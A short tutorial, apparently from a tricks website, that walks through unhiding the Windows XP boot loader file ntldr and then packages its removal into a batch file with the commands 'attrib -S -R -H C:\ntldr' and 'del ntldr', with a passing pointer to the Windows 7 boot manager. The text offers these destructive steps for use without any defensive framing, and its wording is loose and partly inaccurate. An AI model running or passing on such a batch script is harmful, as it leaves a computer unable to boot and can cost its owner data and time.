For Windows Xp :
(for windows 7 search for boot.mgr )
Go to C drive, Tools > Folder Option > View
Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders' than Click apply
Now you can see the operating system files. There is a one file name 'ntldr' which is boot loader used to boot the windows.
Now we make a batch file to perform this operation directly :
attrib -S -R -H C:\ntldr // -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively del ntldr //delete ntldr file